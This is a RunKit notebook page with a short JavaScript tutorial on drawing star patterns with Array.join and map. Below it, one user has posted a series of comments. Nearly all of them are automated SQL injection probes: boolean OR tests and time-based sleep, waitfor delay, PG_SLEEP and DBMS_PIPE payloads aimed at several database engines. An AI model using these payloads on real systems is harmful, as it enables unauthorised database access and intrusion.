Clone and edit this document
Runkit
Runkit
home page
user forum
new notebook
clone notebook
download notebook
support & documentation
log in
sign up
new notebook
help & feedback
clone this notebook
download this notebook
Sign In
Sign Up
Stars
node v0.12.18
version:
2.0.0
endpoint
share
tweet
We can use Array.join to quickly get us strings of a repeated character:
new Array(4).join("*")
Now, if we have a star count, we can create a single line easily (this example is with 4 stars):
var lineLength = 10; var starCount = 5; new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-")
Now, if we have an array of numbers of stars, we can map over it to create the final version:
[1,2,3,4,5,6,7,8,9,10].map(starCount => new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-"))
So with this, we can now make any pattern we want, just with an array of star counts. So let's make this our function:
function drawStars(starCounts) { return starCounts.map(starCount => new Array(starCount + 1).join("*") + new Array(lineLength - starCount + 1).join("-")).join("\n"); }
Here is the first one:
drawStars([1,2,3,4,5,6,7,8,9,10]);
And the second:
drawStars([1,2,3,4,5,5,4,3,2,1]);
Loading…
25 comments
posted
a month ago
by
xsjybldb
1
posted
a month ago
by
xsjybldb
1
posted
a month ago
by
xsjybldb
-1 OR 2+596-596-1=0+0+0+1 --
posted
a month ago
by
xsjybldb
-1 OR 2+628-628-1=0+0+0+1
posted
a month ago
by
xsjybldb
-1' OR 2+572-572-1=0+0+0+1 --
posted
a month ago
by
xsjybldb
-1' OR 2+291-291-1=0+0+0+1 or 'tRUqgFio'='
posted
a month ago
by
xsjybldb
-1" OR 2+530-530-1=0+0+0+1 --
posted
a month ago
by
xsjybldb
if(now()=sysdate(),sleep(15),0)
posted
a month ago
by
xsjybldb
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
posted
a month ago
by
xsjybldb
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
posted
a month ago
by
xsjybldb
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
posted
a month ago
by
xsjybldb
-1; waitfor delay '0:0:15' --
posted
a month ago
by
xsjybldb
-1); waitfor delay '0:0:15' --
posted
a month ago
by
xsjybldb
1 waitfor delay '0:0:15' --
posted
a month ago
by
xsjybldb
BcRCHAH0'; waitfor delay '0:0:15' --
posted
a month ago
by
xsjybldb
-5 OR 798=(SELECT 798 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
-5) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
-1)) OR 927=(SELECT 927 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
2b45xixD' OR 228=(SELECT 228 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
w4IEcQmF') OR 133=(SELECT 133 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
gslRwOZK')) OR 496=(SELECT 496 FROM PG_SLEEP(15))--
posted
a month ago
by
xsjybldb
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
posted
a month ago
by
xsjybldb
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
posted
a month ago
by
xsjybldb
1'"
posted
a month ago
by
xsjybldb
@@PXtZf
sign in
to comment